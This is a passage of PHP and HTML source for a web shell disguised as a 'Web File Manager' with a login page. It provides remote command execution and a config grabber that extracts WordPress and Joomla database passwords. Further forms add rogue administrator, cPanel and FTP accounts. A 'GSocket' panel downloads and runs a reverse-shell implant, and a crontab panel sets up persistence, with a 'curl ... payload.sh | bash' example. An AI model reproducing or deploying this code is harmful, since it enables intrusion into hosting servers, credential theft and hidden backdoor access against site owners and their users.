$msg = joomla_add_admin($cfg, $_POST['joomla_user'] ?? '', $_POST['joomla_pass'] ?? '', $_POST['joomla_name'] ?? '', $_POST['joomla_email'] ?? '', $_POST['joomla_ver'] ?? '3');
$_SESSION['tool_out'] = $msg;
}
header('Location: ' . $redirect . '#joomlaadmin'); exit;
}
if ($act === 'cpanel_acct') {
$msg = cpanel_create_acct($_POST['cp_domain'] ?? '', $_POST['cp_user'] ?? '', $_POST['cp_pass'] ?? '', $_POST['cp_plan'] ?? '');
$_SESSION['tool_out'] = is_string($msg) ? $msg : 'Done.';
header('Location: ' . $redirect . '#cpanel'); exit;
}
if ($act === 'cpanel_ftp') {
$msg = cpanel_add_ftp($_POST['cp_ftp_cpanel_user'] ?? '', $_POST['cp_ftp_user'] ?? '', $_POST['cp_ftp_pass'] ?? '', $_POST['cp_ftp_dir'] ?? 'public_html');
$_SESSION['tool_out'] = is_string($msg) ? $msg : 'Done.';
header('Location: ' . $redirect . '#cpanel'); exit;
}
if ($act === 'gsocket') {
$_SESSION['tool_out'] = gsocket_install($_POST['gs_secret'] ?? '', isset($_POST['gs_kill']));
header('Location: ' . $redirect . '#gsocket'); exit;
}
if ($act === 'cron_add') {
$_SESSION['tool_out'] = crontab_add($_POST['cron_schedule'] ?? '', $_POST['cron_cmd'] ?? '');
header('Location: ' . $redirect . '#crontab'); exit;
}
if ($act === 'cron_clear') {
$_SESSION['tool_out'] = crontab_clear();
header('Location: ' . $redirect . '#crontab'); exit;
}
header('Location: ?dir=' . urlencode($dir));
exit;
}
/* --------------------- GET HANDLERS (authed) ----------------------- */
if ($authed && isset($_GET['ajax']) && $_GET['ajax'] === 'tree') {
header('Content-Type: application/json');
$p = safe_path($_GET['path'] ?? '/');
$res = [];
if ($p !== false && is_dir($p)) {
foreach (scandir($p) as $name) {
if ($name === '.' || $name === '..' || is_hidden($name)) continue;
$full = rtrim($p, '/') . '/' . $name;
if (is_dir($full)) $res[] = ['name' => $name, 'path' => $full, 'child' => has_subdir($full)];
}
usort($res, function ($a, $b) { return strcasecmp($a['name'], $b['name']); });
}
echo json_encode($res);
exit;
}
if ($authed && isset($_GET['dl'])) {
$p = safe_path($_GET['dl']);
if ($p && is_file($p)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($p) . '"');
header('Content-Length: ' . filesize($p));
readfile($p);
exit;
}
http_response_code(404); exit;
}
/* --------------------------- UI STATE ------------------------------ */
$dir = current_dir();
$term_out = $_SESSION['term_out'] ?? '';
$tool_out = $_SESSION['tool_out'] ?? '';
unset($_SESSION['term_out'], $_SESSION['tool_out']);
function list_entries($dir) {
$entries = [];
foreach (scandir($dir) as $name) {
if ($name === '.' || $name === '..' || is_hidden($name)) continue;
$p = $dir . '/' . $name;
$entries[] = [
'name' => $name,
'path' => $p,
'type' => is_dir($p) ? 'dir' : 'file',
'size' => is_dir($p) ? '-' : filesize($p),
'perm' => substr(sprintf('%o', fileperms($p)), -4),
'mtime' => filemtime($p),
'owner' => function_exists('posix_getpwuid') ? (posix_getpwuid(fileowner($p))['name'] ?? fileowner($p)) : fileowner($p),
'read' => is_readable($p),
'write' => is_writable($p),
'locked' => is_locked($p),
];
}
usort($entries, function ($a, $b) {
if ($a['type'] !== $b['type']) return $a['type'] === 'dir' ? -1 : 1;
return strcasecmp($a['name'], $b['name']);
});
return $entries;
}
$entries = list_entries($dir);
$parent = ($dir !== '/') ? dirname($dir) : null;
$rel_dir = $dir;
/* ---- Tools detection (computed on load) ---- */
$wp_configs = $authed ? array_filter(array_map('parse_wp_config', find_wp_configs())) : [];
$joomla_configs = $authed ? array_filter(array_map('parse_joomla_config', find_joomla_configs())) : [];
$cpanel = $authed ? detect_cpanel() : ['installed'=>false];
$cron_list = $authed ? crontab_list() : '';
$gsock_installed = @is_file(dirname(__FILE__) . '/.gs-netcat');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Web File Manager</title>
<style>
:root{
--bg:#0b0f17; --panel:#111827; --panel2:#0f172a; --border:#1f2a3d;
--text:#e5e7eb; --muted:#94a3b8; --accent:#3b82f6; --accent2:#2563eb;
--green:#10b981; --red:#ef4444; --yellow:#f59e0b; --purple:#8b5cf6;
--mono:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,monospace;
}
*{box-sizing:border-box;margin:0;padding:0}
body{background:var(--bg);color:var(--text);font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;font-size:14px;min-height:100vh}
a{color:var(--accent);text-decoration:none}
a:hover{text-decoration:underline}
::-webkit-scrollbar{width:10px;height:10px}
::-webkit-scrollbar-thumb{background:#26334d;border-radius:6px}
::-webkit-scrollbar-track{background:transparent}
.login-wrap{display:flex;align-items:center;justify-content:center;min-height:100vh;background:radial-gradient(circle at 20% 20%,#12203a 0,var(--bg) 55%)}
.login-card{background:var(--panel);border:1px solid var(--border);border-radius:14px;padding:40px;width:380px;box-shadow:0 20px 60px rgba(0,0,0,.5)}
.login-card h1{font-size:22px;margin-bottom:6px}
.login-card p{color:var(--muted);margin-bottom:26px;font-size:13px}
.logo{font-size:34px;margin-bottom:18px}
.field{margin-bottom:16px}
.field label{display:block;color:var(--muted);font-size:12px;margin-bottom:6px;text-transform:uppercase;letter-spacing:.5px}
.field input,.field select,.field textarea{width:100%;background:var(--panel2);border:1px solid var(--border);border-radius:8px;padding:11px 13px;color:var(--text);font-size:14px;outline:none;font-family:inherit}
.field input:focus,.field select:focus,.field textarea:focus{border-color:var(--accent)}
.field textarea{font-family:var(--mono);font-size:12.5px;min-height:80px;resize:vertical}
.btn{display:inline-flex;align-items:center;gap:8px;background:var(--accent2);color:#fff;border:none;border-radius:8px;padding:11px 18px;font-size:14px;cursor:pointer;transition:.15s;font-weight:600}
.btn:hover{background:var(--accent)}
.btn-green{background:#059669}.btn-green:hover{background:var(--green)}
.btn-red{background:#b91c1c}.btn-red:hover{background:var(--red)}
.btn-gray{background:#374151}.btn-gray:hover{background:#4b5563}
.btn-yellow{background:#b45309}.btn-yellow:hover{background:var(--yellow)}
.btn-sm{padding:6px 11px;font-size:12px;border-radius:6px}
.btn:disabled{opacity:.5;cursor:not-allowed}
.err{background:#3b0a0a;border:1px solid #7f1d1d;color:#fca5a5;padding:10px 13px;border-radius:8px;margin-bottom:16px;font-size:13px}
.w-full{width:100%}
.topbar{display:flex;align-items:center;justify-content:space-between;padding:12px 20px;background:var(--panel);border-bottom:1px solid var(--border);position:sticky;top:0;z-index:50}
.topbar .brand{display:flex;align-items:center;gap:10px;font-weight:700;font-size:16px}
.topbar .brand .dot{width:10px;height:10px;border-radius:50%;background:var(--green);box-shadow:0 0 8px var(--green)}
.topbar .actions{display:flex;gap:8px;align-items:center}
.layout{display:flex;min-height:calc(100vh - 51px)}
.sidebar{width:270px;flex-shrink:0;background:var(--panel);border-right:1px solid var(--border);padding:14px;overflow-y:auto;max-height:calc(100vh - 51px);position:sticky;top:51px}
.sidebar-head{font-weight:700;margin-bottom:12px;font-size:12px;text-transform:uppercase;letter-spacing:.5px;color:var(--muted)}
.jump{display:flex;gap:6px;margin-bottom:14px}
.jump input{flex:1;background:var(--panel2);border:1px solid var(--border);border-radius:6px;padding:8px 10px;color:var(--text);font-size:12px;outline:none;min-width:0}
.jump input:focus{border-color:var(--accent)}
.tree{font-family:var(--mono);font-size:12.5px}
.tree ul{list-style:none;padding-left:14px}
.tree li{margin:1px 0}
.tree-row{display:flex;align-items:center;gap:4px;padding:2px 4px;border-radius:4px}
.tree-row:hover{background:rgba(59,130,246,.08)}
.tree-row a{color:var(--text);flex:1;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.tree-row a:hover{color:var(--accent);text-decoration:none}
.tree-row a.active{color:var(--accent);font-weight:700}
.tree-toggle{width:14px;cursor:pointer;color:var(--muted);text-align:center;flex-shrink:0;user-select:none}
.tree-root a{color:var(--accent);font-weight:700}
.main{flex:1;min-width:0;padding:20px}
.toolbar{background:var(--panel);border:1px solid var(--border);border-radius:12px;padding:16px;margin-bottom:18px}
.breadcrumb{display:flex;align-items:center;flex-wrap:wrap;gap:2px;font-size:15px;margin-bottom:14px;font-family:var(--mono)}
.breadcrumb .sep{color:var(--muted);margin:0 4px}
.breadcrumb a{color:var(--accent)}
.quick-tools{display:flex;flex-wrap:wrap;gap:8px;align-items:center}
.quick-tools input[type=text]{background:var(--panel2);border:1px solid var(--border);border-radius:6px;padding:8px 11px;color:var(--text);font-size:13px;outline:none;width:200px}
.quick-tools input:focus{border-color:var(--accent)}
.stats{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-bottom:18px}
.stat{background:var(--panel);border:1px solid var(--border);border-radius:12px;padding:16px}
.stat .num{font-size:22px;font-weight:700;word-break:break-all}
.stat .lbl{color:var(--muted);font-size:12px;margin-top:4px}
.panel{background:var(--panel);border:1px solid var(--border);border-radius:12px;overflow:hidden}
.panel-head{display:flex;align-items:center;justify-content:space-between;padding:14px 18px;border-bottom:1px solid var(--border)}
.panel-head h2{font-size:15px}
table{width:100%;border-collapse:collapse}
th,td{padding:11px 14px;text-align:left;border-bottom:1px solid var(--border);font-size:13px;white-space:nowrap}
th{background:var(--panel2);color:var(--muted);font-size:11px;text-transform:uppercase;letter-spacing:.5px}
tr:hover td{background:rgba(59,130,246,.05)}
td.name{font-family:var(--mono)}
td.name a{color:var(--text)}
td.name a:hover{color:var(--accent);text-decoration:none}
.badge{display:inline-block;padding:2px 8px;border-radius:20px;font-size:11px;font-weight:600}
.badge-dir{background:#1e3a5f;color:#93c5fd}
.badge-file{background:#1f2937;color:#d1d5db}
.badge-lock{background:#3b2f00;color:#fbbf24}
.badge-ok{background:#052e1f;color:#6ee7b7}
.perm{font-family:var(--mono);color:var(--yellow);font-size:12px}
.acts{display:flex;gap:4px}
.acts a,.acts button{color:var(--muted);font-size:13px;padding:3px 6px;border-radius:5px;border:none;background:transparent;cursor:pointer}
.acts a:hover{color:var(--accent);background:rgba(59,130,246,.12);text-decoration:none}
.acts .del:hover{color:var(--red);background:rgba(239,68,68,.12)}
.acts .edit:hover{color:var(--green);background:rgba(16,185,129,.12)}
.acts .lockbtn:hover{color:var(--yellow);background:rgba(245,158,11,.12)}
.acts .lockbtn.locked{color:var(--yellow)}
.alert{padding:12px 16px;border-radius:8px;margin-bottom:14px;font-size:13px}
.alert-success{background:#052e1f;border:1px solid #065f46;color:#6ee7b7}
.alert-error{background:#3b0a0a;border:1px solid #7f1d1d;color:#fca5a5}
.alert-info{background:#0c1f3d;border:1px solid #1e3a5f;color:#93c5fd}
.term{background:#000;border-radius:0 0 12px 12px;font-family:var(--mono);font-size:13px;padding:16px;min-height:260px;max-height:420px;overflow-y:auto;color:#22c55e;white-space:pre-wrap;word-break:break-all}
.term .cmdline{display:flex;align-items:center;gap:8px}
.term .ps1{color:var(--green);font-weight:700}
.term input[type=text]{flex:1;background:transparent;border:none;color:#fff;font-family:var(--mono);font-size:13px;outline:none;padding:8px 0}
.editor-head{display:flex;justify-content:space-between;align-items:center;padding:14px 18px;border-bottom:1px solid var(--border)}
textarea.editor{width:100%;min-height:500px;background:#0a0e14;color:#e5e7eb;border:none;padding:16px;font-family:var(--mono);font-size:13px;line-height:1.5;resize:vertical;outline:none}
.modal-bg{display:none;position:fixed;inset:0;background:rgba(0,0,0,.65);z-index:100;align-items:center;justify-content:center}
.modal-bg.open{display:flex}
.modal{background:var(--panel);border:1px solid var(--border);border-radius:12px;padding:24px;width:440px;max-width:92vw;max-height:90vh;overflow-y:auto}
.modal h3{margin-bottom:16px}
.modal .field{margin-bottom:14px}
.dropzone{border:2px dashed var(--border);border-radius:10px;padding:26px;text-align:center;color:var(--muted);cursor:pointer;transition:.15s;margin-top:10px}
.dropzone.dragover{border-color:var(--accent);color:var(--accent);background:rgba(59,130,246,.05)}
.filelist{list-style:none;margin-top:10px}
.filelist li{display:flex;justify-content:space-between;font-size:12px;padding:4px 0;border-bottom:1px solid var(--border)}
.tabs{display:flex;gap:4px;border-bottom:1px solid var(--border);padding:0 14px}
.tab{padding:11px 16px;cursor:pointer;color:var(--muted);border-bottom:2px solid transparent;font-size:13px;font-weight:600}
.tab.active{color:var(--text);border-bottom-color:var(--accent)}
.tab-content{display:none;padding:18px}
.tab-content.active{display:block}
.grid-2{display:grid;grid-template-columns:1fr 1fr;gap:12px}
.muted{color:var(--muted)}
.mono{font-family:var(--mono)}
.mt{margin-top:12px}
.pre{background:#0a0e14;border:1px solid var(--border);border-radius:8px;padding:12px;font-family:var(--mono);font-size:12px;color:#a5f3fc;white-space:pre-wrap;word-break:break-all;max-height:300px;overflow-y:auto}
.mod-cards{display:grid;grid-template-columns:repeat(auto-fit,minmax(420px,1fr));gap:16px}
.mod-card{background:var(--panel);border:1px solid var(--border);border-radius:12px;padding:18px;align-self:start}
.mod-card h3{font-size:14px;margin-bottom:4px;display:flex;align-items:center;gap:8px}
.mod-card .sub{color:var(--muted);font-size:12px;margin-bottom:14px}
.kv{display:grid;grid-template-columns:110px 1fr;gap:4px 10px;font-size:12px;margin-bottom:12px}
.kv .k{color:var(--muted);font-family:var(--mono)}
.kv .v{color:var(--green);font-family:var(--mono);word-break:break-all}
@media(max-width:800px){.grid-2{grid-template-columns:1fr}.layout{flex-direction:column}.sidebar{width:100%;max-height:none;position:static;border-right:none;border-bottom:1px solid var(--border)}.mod-cards{grid-template-columns:1fr}}
</style>
</head>
<body>
<?php if (!$authed): ?>
<div class="login-wrap">
<div class="login-card">
<div class="logo">🛡️</div>
<h1>Web File Manager</h1>
<p>Authorized access only. Enter your credentials to continue.</p>
<?php if (isset($login_error)): ?><div class="err"><?= h($login_error) ?></div><?php endif; ?>
<form method="post" autocomplete="off">
<div class="field">
<label>Username</label>
<input type="text" name="username" placeholder="admin" required autofocus>
</div>
<div class="field">
<label>Password</label>
<input type="password" name="password" placeholder="••••••••••" required>
</div>
<button class="btn w-full" type="submit">Sign In</button>
</form>
</div>
</div>
<?php else: ?>
<div class="topbar">
<div class="brand"><span class="dot"></span> Web File Manager <span class="muted" style="font-weight:400;font-size:12px">v1.2</span></div>
<div class="actions">
<button class="btn btn-gray btn-sm" onclick="openModal('uploadModal')">⬆ Upload</button>
<button class="btn btn-gray btn-sm" onclick="openModal('createModal')">+ New</button>
<form method="post" style="display:inline">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<button class="btn btn-red btn-sm" name="action" value="logout" type="submit">⏻ Logout</button>
</form>
</div>
</div>
<div class="layout">
<aside class="sidebar">
<div class="sidebar-head">📂 File Explorer</div>
<form class="jump" method="get">
<input type="text" name="dir" placeholder="Jump to path e.g. /var/www" value="">
<button class="btn btn-sm" type="submit">Go</button>
</form>
<div class="tree">
<div class="tree-row tree-root"><a href="?dir=<?= urlencode('/') ?>" class="<?= $dir==='/' ? 'active':'' ?>">📁 /</a></div>
<div id="treeChildren"></div>
</div>
</aside>
<main class="main">
<?= render_flash() ?>
<div class="toolbar">
<div class="breadcrumb"><?= breadcrumbs($dir) ?></div>
<div class="quick-tools">
<?php if ($parent): ?><a class="btn btn-gray btn-sm" href="?dir=<?= urlencode($parent) ?>">⬅ Up</a><?php endif; ?>
<a class="btn btn-gray btn-sm" href="?dir=<?= urlencode($rel_dir) ?>">⟳ Refresh</a>
<form method="get" style="display:inline">
<input type="hidden" name="dir" value="<?= h($rel_dir) ?>">
<input type="text" name="q" placeholder="Search files..." value="<?= h($_GET['q'] ?? '') ?>" style="width:240px">
<button class="btn btn-sm" type="submit">🔍</button>
</form>
</div>
</div>
<div class="stats">
<div class="stat"><div class="num"><?= count(array_filter($entries, fn($e) => $e['type']==='dir')) ?></div><div class="lbl">Directories</div></div>
<div class="stat"><div class="num"><?= count(array_filter($entries, fn($e) => $e['type']==='file')) ?></div><div class="lbl">Files</div></div>
<div class="stat"><div class="num"><?= count(array_filter($entries, fn($e) => $e['locked'])) ?></div><div class="lbl">Locked</div></div>
<div class="stat"><div class="num"><?= human_size(array_sum(array_map(fn($e) => is_numeric($e['size'])?$e['size']:0, $entries))) ?></div><div class="lbl">Total size</div></div>
<div class="stat"><div class="num mono" style="font-size:13px"><?= h($rel_dir) ?></div><div class="lbl">Path</div></div>
</div>
<div class="tabs">
<div class="tab active" data-tab="files">📁 Files</div>
<div class="tab" data-tab="terminal">🖥 Terminal</div>
<div class="tab" data-tab="tools">⚡ Tools</div>
<div class="tab" data-tab="info">ℹ Server Info</div>
</div>
<!-- FILES TAB -->
<div class="tab-content active" id="tab-files">
<div class="panel">
<form method="post" id="bulkForm">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<table>
<thead>
<tr>
<th style="width:36px"><input type="checkbox" id="checkAll"></th>
<th>Name</th>
<th>Size</th>
<th>Perms</th>
<th>Owner</th>
<th>Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
$q = isset($_GET['q']) ? strtolower(trim($_GET['q'])) : '';
foreach ($entries as $e):
if ($q && strpos(strtolower($e['name']), $q) === false) continue;
$relPath = $e['path'];
$isEdit = in_array(strtolower(pathinfo($e['name'], PATHINFO_EXTENSION)), $CONFIG['ext_edit']);
?>
<tr>
<td><input type="checkbox" name="items[]" value="<?= h($relPath) ?>" class="row-check"></td>
<td class="name">
<?php if ($e['type']==='dir'): ?>
<a href="?dir=<?= urlencode($relPath) ?>">📁 <?= h($e['name']) ?>/</a>
<?php else: ?>
<?= h($e['name']) ?>
<span class="badge badge-file"><?= strtoupper(pathinfo($e['name'], PATHINFO_EXTENSION)) ?: 'FILE' ?></span>
<?php endif; ?>
<?php if ($e['locked']): ?><span class="badge badge-lock" title="Locked - protected from delete/rename">🔒 LOCKED</span><?php endif; ?>
</td>
<td class="muted"><?= h(human_size($e['size'])) ?></td>
<td><span class="perm"><?= h($e['perm']) ?></span></td>
<td class="muted"><?= h($e['owner']) ?></td>
<td class="muted"><?= date('Y-m-d H:i', $e['mtime']) ?></td>
<td>
<div class="acts">
<?php if ($e['type']==='dir'): ?>
<a href="?dir=<?= urlencode($relPath) ?>" title="Open">📂</a>
<?php else: ?>
<?php if ($isEdit): ?><a class="edit" href="?dir=<?= urlencode($rel_dir) ?>&edit=<?= urlencode($relPath) ?>" title="Edit">✏️</a><?php endif; ?>
<a href="?dl=<?= urlencode($relPath) ?>" title="Download">⬇</a>
<?php endif; ?>
<button type="button" class="edit" onclick="renameItem('<?= h($relPath) ?>','<?= h($e['name']) ?>')" title="Rename">✏️</button>
<button type="button" onclick="chmodItem('<?= h($relPath) ?>','<?= h($e['perm']) ?>')" title="chmod">🔐</button>
<form method="post" style="display:inline">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="<?= $e['locked'] ? 'unlock' : 'lock' ?>">
<input type="hidden" name="items[]" value="<?= h($relPath) ?>">
<button type="submit" class="lockbtn <?= $e['locked'] ? 'locked' : '' ?>" title="<?= $e['locked'] ? 'Unlock' : 'Lock' ?>"><?= $e['locked'] ? '🔒' : '🔓' ?></button>
</form>
<button type="button" class="del" onclick="confirmDelete('<?= h($relPath) ?>')" title="Delete">🗑</button>
</div>
</td>
</tr>
<?php endforeach; ?>
<?php if (empty($entries)): ?>
<tr><td colspan="7" class="muted" style="text-align:center;padding:40px">Empty directory.</td></tr>
<?php endif; ?>
</tbody>
</table>
</form>
<div style="padding:14px 18px;border-top:1px solid var(--border);display:flex;gap:8px;flex-wrap:wrap">
<button class="btn btn-red btn-sm" onclick="bulkDelete()">🗑 Delete selected</button>
<button class="btn btn-gray btn-sm" onclick="bulkAction('chmod')">🔐 chmod selected</button>
<button class="btn btn-gray btn-sm" onclick="bulkAction('zip')">🗜 Zip selected</button>
<button class="btn btn-gray btn-sm" onclick="bulkAction('lock')">🔒 Lock selected</button>
<button class="btn btn-gray btn-sm" onclick="bulkAction('unlock')">🔓 Unlock selected</button>
</div>
</div>
</div>
<!-- TERMINAL TAB -->
<div class="tab-content" id="tab-terminal">
<div class="panel">
<div class="panel-head"><h2>🖥 Command Execution</h2><span class="muted mono"><?= h($rel_dir) ?> $</span></div>
<div class="term" id="termOut"><?= h($term_out) ?><?php if ($term_out === '') echo "<span class='muted'>Type a command below and press Enter.</span>"; ?></div>
<form method="post" class="term" style="border-top:1px solid var(--border)">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="cmd">
<div class="cmdline">
<span class="ps1"><?= h($rel_dir) ?> $</span>
<input type="text" name="cmd" placeholder="ls -la; whoami; id; uname -a" autocomplete="off" autofocus>
</div>
</form>
</div>
</div>
<!-- TOOLS TAB -->
<div class="tab-content" id="tab-tools">
<?php if ($tool_out): ?>
<div class="alert alert-info"><strong>Result:</strong><br><span class="mono" style="white-space:pre-wrap;word-break:break-all"><?= h($tool_out) ?></span></div>
<?php endif; ?>
<div class="mod-cards">
<!-- ============ CONFIG GRABBER ============ -->
<div class="mod-card" id="configgrabber" style="grid-column:1/-1">
<h3>🔍 CMS Config Grabber</h3>
<div class="sub">Auto-detect and extract credentials from WordPress, Joomla and cPanel.</div>
<form method="post" style="margin-bottom:14px">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="grab_config">
<button class="btn btn-sm" type="submit">🔄 Re-scan configs</button>
</form>
<div class="grid-2">
<div>
<div style="font-weight:700;margin-bottom:8px">WordPress (wp-config.php)</div>
<?php if ($wp_configs): foreach ($wp_configs as $w): ?>
<div class="kv">
<span class="k">path</span><span class="v"><?= h($w['path']) ?></span>
<span class="k">DB_NAME</span><span class="v"><?= h($w['DB_NAME']) ?></span>
<span class="k">DB_USER</span><span class="v"><?= h($w['DB_USER']) ?></span>
<span class="k">DB_PASS</span><span class="v"><?= h($w['DB_PASSWORD']) ?></span>
<span class="k">DB_HOST</span><span class="v"><?= h($w['DB_HOST']) ?></span>
<span class="k">prefix</span><span class="v"><?= h($w['prefix']) ?></span>
</div>
<hr style="border-color:var(--border);margin:10px 0">
<?php endforeach; else: ?><div class="muted">Not detected.</div><?php endif; ?>
</div>
<div>
<div style="font-weight:700;margin-bottom:8px">Joomla (configuration.php)</div>
<?php if ($joomla_configs): foreach ($joomla_configs as $j): ?>
<div class="kv">
<span class="k">path</span><span class="v"><?= h($j['path']) ?></span>
<span class="k">db</span><span class="v"><?= h($j['db']) ?></span>
<span class="k">user</span><span class="v"><?= h($j['user']) ?></span>
<span class="k">pass</span><span class="v"><?= h($j['password']) ?></span>
<span class="k">host</span><span class="v"><?= h($j['host']) ?></span>
<span class="k">prefix</span><span class="v"><?= h($j['dbprefix']) ?></span>
<span class="k">secret</span><span class="v"><?= h($j['secret']) ?></span>
</div>
<hr style="border-color:var(--border);margin:10px 0">
<?php endforeach; else: ?><div class="muted">Not detected.</div><?php endif; ?>
</div>
</div>
<div class="mt">
<div style="font-weight:700;margin-bottom:8px">cPanel</div>
<div class="kv">
<span class="k">status</span><span class="v"><?= $cpanel['installed'] ? 'installed' : 'not detected' ?></span>
<span class="k">version</span><span class="v"><?= h($cpanel['version'] ?? '-') ?></span>
<span class="k">hostname</span><span class="v"><?= h($cpanel['hostname'] ?? '-') ?></span>
<span class="k">main_ip</span><span class="v"><?= h($cpanel['main_ip'] ?? '-') ?></span>
<span class="k">root</span><span class="v"><?= !empty($cpanel['root']) ? 'yes (uid 0)' : 'no' ?></span>
<span class="k">whmapi</span><span class="v"><?= !empty($cpanel['whmapi']) ? 'available' : 'n/a' ?></span>
</div>
</div>
</div>
<!-- ============ WORDPRESS ADMIN ============ -->
<div class="mod-card" id="wpadmin">
<h3>🔑 Add WordPress Admin</h3>
<div class="sub">Insert/update an administrator user directly via the WP database.</div>
<form method="post">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="wp_admin">
<div class="field">
<label>wp-config.php path</label>
<select name="wp_path">
<?php if ($wp_configs): foreach ($wp_configs as $w): ?>
<option value="<?= h($w['path']) ?>"><?= h($w['path']) ?></option>
<?php endforeach; else: ?><option value="">(none detected)</option><?php endif; ?>
</select>
</div>
<div class="field"><label>Username</label><input type="text" name="wp_user" value="wp_admin" required></div>
<div class="field"><label>Password</label><input type="text" name="wp_pass" value="P@ssw0rd1337!" required></div>
<div class="field"><label>Email</label><input type="email" name="wp_email" value="admin@localhost.local" required></div>
<button class="btn btn-green btn-sm" type="submit">➕ Add Admin</button>
</form>
</div>
<!-- ============ JOOMLA ADMIN ============ -->
<div class="mod-card" id="joomlaadmin">
<h3>🔑 Add Joomla Admin</h3>
<div class="sub">Insert a Super User (group 8) directly via the Joomla database.</div>
<form method="post">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="joomla_admin">
<div class="field">
<label>configuration.php path</label>
<select name="joomla_path">
<?php if ($joomla_configs): foreach ($joomla_configs as $j): ?>
<option value="<?= h($j['path']) ?>"><?= h($j['path']) ?></option>
<?php endforeach; else: ?><option value="">(none detected)</option><?php endif; ?>
</select>
</div>
<div class="field"><label>Name</label><input type="text" name="joomla_name" value="Super Admin" required></div>
<div class="field"><label>Username</label><input type="text" name="joomla_user" value="joomla_admin" required></div>
<div class="field"><label>Password</label><input type="text" name="joomla_pass" value="P@ssw0rd1337!" required></div>
<div class="field"><label>Email</label><input type="email" name="joomla_email" value="admin@localhost.local" required></div>
<div class="field">
<label>Joomla version (hash format)</label>
<select name="joomla_ver">
<?php $v3 = $joomla_configs ? joomla_version_hint($joomla_configs[0]['path']) : '3'; ?>
<option value="3" <?= $v3==='3'?'selected':'' ?>>Joomla 3.x (phpass)</option>
<option value="4" <?= $v3==='4'?'selected':'' ?>>Joomla 4/5 (bcrypt)</option>
</select>
</div>
<button class="btn btn-green btn-sm" type="submit">➕ Add Super User</button>
</form>
</div>
<!-- ============ CPANEL ============ -->
<div class="mod-card" id="cpanel">
<h3>🖥 cPanel / WHM</h3>
<div class="sub">Create a cPanel account (WHM root) or add an FTP user (cPanel UAPI).</div>
<div class="kv">
<span class="k">status</span><span class="v"><?= $cpanel['installed'] ? 'installed v' . h($cpanel['version'] ?? '') : 'not detected' ?></span>
</div>
<form method="post" style="margin-bottom:14px">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="cpanel_acct">
<div class="field"><label>Domain</label><input type="text" name="cp_domain" value="example.com" required></div>
<div class="field"><label>Username</label><input type="text" name="cp_user" value="newacct" required></div>
<div class="field"><label>Password</label><input type="text" name="cp_pass" value="P@ssw0rd1337!" required></div>
<div class="field"><label>Package / plan (optional)</label><input type="text" name="cp_plan" placeholder="default"></div>
<button class="btn btn-yellow btn-sm" type="submit">➕ Create Account (WHM root)</button>
</form>
<hr style="border-color:var(--border);margin:10px 0">
<form method="post">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="cpanel_ftp">
<div class="field"><label>cPanel account user</label><input type="text" name="cp_ftp_cpanel_user" placeholder="cpanel_username" required></div>
<div class="field"><label>FTP username</label><input type="text" name="cp_ftp_user" value="ftpuser1" required></div>
<div class="field"><label>FTP password</label><input type="text" name="cp_ftp_pass" value="Ftp@1337!" required></div>
<div class="field"><label>Home directory</label><input type="text" name="cp_ftp_dir" value="public_html" required></div>
<button class="btn btn-sm" type="submit">➕ Add FTP User</button>
</form>
</div>
<!-- ============ GSOCKET ============ -->
<div class="mod-card" id="gsocket">
<h3>🛰 Auto GSocket</h3>
<div class="sub">Download + run GSocket global relay implant for stealth reverse shell.</div>
<div class="kv">
<span class="k">binary</span><span class="v"><?= $gsock_installed ? 'installed (.gs-netcat)' : 'not installed' ?></span>
</div>
<form method="post" style="margin-bottom:14px">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="gsocket">
<div class="field"><label>Secret (channel key)</label><input type="text" name="gs_secret" value="<?= h(bin2hex(random_bytes(6))) ?>" required></div>
<label style="display:flex;align-items:center;gap:6px;margin-bottom:14px;color:var(--muted);font-size:12px"><input type="checkbox" name="gs_kill" checked> Kill existing GSocket processes first</label>
<button class="btn btn-green btn-sm" type="submit">🚀 Install & Start Implant</button>
</form>
<div class="muted" style="font-size:12px">Attacker: <span class="mono">gs-netcat -s <secret></span> (from gsocket.io)</div>
</div>
<!-- ============ CRONTAB ============ -->
<div class="mod-card" id="crontab">
<h3>⏰ Auto Crontab (Persistence)</h3>
<div class="sub">Append a cron job for persistence / re-callback.</div>
<form method="post" style="margin-bottom:14px">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="cron_add">
<div class="field"><label>Schedule</label><input type="text" name="cron_schedule" value="*/5 * * * *" required></div>
<div class="field"><label>Command</label><textarea name="cron_cmd" placeholder="curl -fsSL https://example.com/payload.sh | bash"><?= h(dirname(__FILE__) . '/.gs-netcat -s YOURSECRET -i >/dev/null 2>&1') ?></textarea></div>
<button class="btn btn-green btn-sm" type="submit">➕ Add Cron Job</button>
</form>
<form method="post" style="margin-bottom:14px">
<input type="hidden" name="csrf" value="<?= csrf_token() ?>">
<input type="hidden" name="action" value="cron_clear">
<button class="btn btn-red btn-sm" type="submit" onclick="return confirm('Clear ALL cron jobs for this user?')">🧹 Clear Crontab</button>
</form>
<div style="font-weight:700;margin-bottom:8px">Current crontab</div>
<div class="pre"><?= h($cron_list ?: '(empty / unavailable)') ?></div>
</div>
</div>
</div>
<!-- INFO TAB -->
<div class="tab-content" id="tab-info">
<div class="panel">
<div class="panel-head"><h2>ℹ Server / Environment</h2></div>
<div style="padding:18px">
<div class="grid-2">
<?php
$info = [
'PHP Version' => PHP_VERSION,
